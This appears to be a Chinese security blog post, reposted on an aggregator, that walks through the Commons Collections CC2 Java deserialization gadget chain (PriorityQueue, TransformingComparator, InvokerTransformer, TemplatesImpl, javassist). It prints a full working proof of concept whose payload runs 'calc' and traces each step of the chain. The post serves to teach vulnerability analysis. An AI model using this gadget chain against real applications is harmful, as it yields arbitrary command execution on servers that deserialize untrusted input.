“白痴“上帝视角调节反序列化链之CC2
說是白癡上帝視角的原因在于我們拿到了poc,模擬不知道任何細節,去分析這個漏洞的形成原因。也可以說半黑盒狀態,主要是鍛煉一下分析能力。CC1的分析已經在之前的文章發過了。主要是拿來入門的,現在我們分析一下CC2.這篇文章也是重構,很早之前分析了一次,但是當時水平比現在還低,所以很多地方還不夠清楚。現在重新分析一下。需要涉及到以下的知識點
javassist動態編程(主要是字節碼修改操作,把他可以看成一個加強版的反射)
本來開始直接跟著poc調的,poc不是特別的友好,很多地方不清楚,那我們還是借助poc逆向來分析吧。
poc import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;public class cc2 {public static void main(String[] args) throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("e0mlja");payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode();Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");field.setAccessible(true);field.set(templatesImpl,new byte[][]{bytes});Field field1=templatesImpl.getClass().getDeclaredField("_name");field1.setAccessible(true);field1.set(templatesImpl,"test");InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});TransformingComparator comparator =new TransformingComparator(transformer);PriorityQueue queue = new PriorityQueue(2);queue.add(1);queue.add(1);Field field2=queue.getClass().getDeclaredField("comparator");field2.setAccessible(true);field2.set(queue,comparator);Field field3=queue.getClass().getDeclaredField("queue");field3.setAccessible(true);field3.set(queue,new Object[]{templatesImpl,templatesImpl});ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();} }了解反序列化的都知道,最終是調用了重寫的ReadObject導致了反序列化。所以這里我們看看是PriorityQueue這個類導致了反序列化。我們看看他的ReadObject方法。
方法不大,仔細看看忍一下。heapify()特別矚目(其實是因為沒啥看的了)跟進去看看
siftDown
siftDownUsingComparator
這里我能火速的標記出來是因為之前已經調過了。跟到這里,comparetor調用了compare()方法,再進去就是進接口了。所以這里我們暫放一下,思考一下。是不是某個comparator接口的實現類或者實現類的子類賦值給了comparator(),其中他的compare()調用了其他的一些列方法導致了反序列化鏈?這里說說兩個方法
(1)尋找Comparator的實現類,并且有compare()方法的類去找找。
(2)直接看poc,看看別人找到了哪個類。
本著說道做到的原則,說了當咸魚就要躺到底,這一期當個白癡,直接看poc里給了哪個類。
看看這個類有哪些東西。臥槽?compare()方法里調用了transform,然后 this.transformer構造方法賦值我們可控。可真是小刀劃屁股,著實讓人開了眼。
不錯,成功了。想一下我們現在有的東西,能夠通過反序列化PriorityQueue,實現任一類的方法某個調用了。但前提是我們這個類必須要可序列化。我們從CC1知道,Runtime是不能直接序列化的。所以這里要利用CC1的話必須要構造transformerChain傳入PriorityQueue中,但是很遺憾,類型轉換失敗,所以我們要尋找其他的出路了。其實我們的需求現在已經比較低了。我們自己寫了一個類上去,現實中肯定沒有開發敢這么寫,第二天可能就要跑路。所以我們現在找一個辦法,能夠動態生成一個類,也可以打到一樣的效果,這就用到了javassist動態編程了。這里不多介紹,以往文章應該發了,沒法的話后續補上。有人可能會疑惑了,為啥不能直接生成一個新的類,添加方法。這是動態編程可以完成的。但是我們要知道生成的類是沒有class的,需要調用修改都要用反射,所以是找不到我們想要執行的方法的。這里我們可以尋找一個其他的可以反序列化類,來生成這個對象。
這里選擇了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的newTransformer()來實現。我們來看看這個類
這幾個涉及方法的,我們都跟進去看看
最終發現了newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i]) ->_class[_transletIndex].newInstance()。也就是說利用這條鏈子來加載并實例化了一個類。(注意,我們采用javassist生成的類的方法是靜態方法,類在實例化的時候就會調用。)流程差不多清楚了,現在來看看我們要實現這個鏈子還需要什么條件。
getTransletInstance() 不需要任何條件即可執行
defineTransletClasses() (1) _name不為空 _class為空(構造方法中賦值,不傳就行了)。
loader.defineClass(_bytecodes[i]) (1)_bytecodes不為空 (2)超類需要為com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
來看看構造完成后,在getTransletInstance()調用了newInstance()完成了類的實例化,執行了我們的惡意代碼。
(1)最后總結一下。我們首先是在重構的PriorityQueue.readObject里面找到了heapify()方法。
(2)通過heapify()->siftDown()->siftDownUsingComparator()->Comparator.compare()實現了一條命令執行鏈,但是由于沒有辦法生成新的類,所以還需要找一個任意生成類的鏈子。
(3)newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i]) ->_class[_transletIndex].newInstance(),通過這里,我們能將利用javassist動態生成的類的字節碼傳入到其中,實例化一個類調用我們定義的方法,造成任意命令執行。
這里突發奇想,如果說我直接將Runtime作為對象傳入,然后動態調整這個CC鏈,是不是就不需要動態編程這一步了,直接就可以命令執行?事實證明,是可行的。
談了一下,這種方法的不便之處在于只能命令執行,需要實現什么得自己去找。javassist能夠動態生成一個函數。但是需要依賴第三方累。當我們想要依賴的類不存在就用不起。用這個能夠直接執行命令,但是對于一些不出網的情況,用起來就惱火,直接出網的能直接用。
【學習攻略】
總結
以上是生活随笔為你收集整理的“白痴“上帝视角调节反序列化链之CC2的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【安全工具】浅谈编写Java代码审计工具
- 下一篇: 【网络安全】一些webshell免杀的技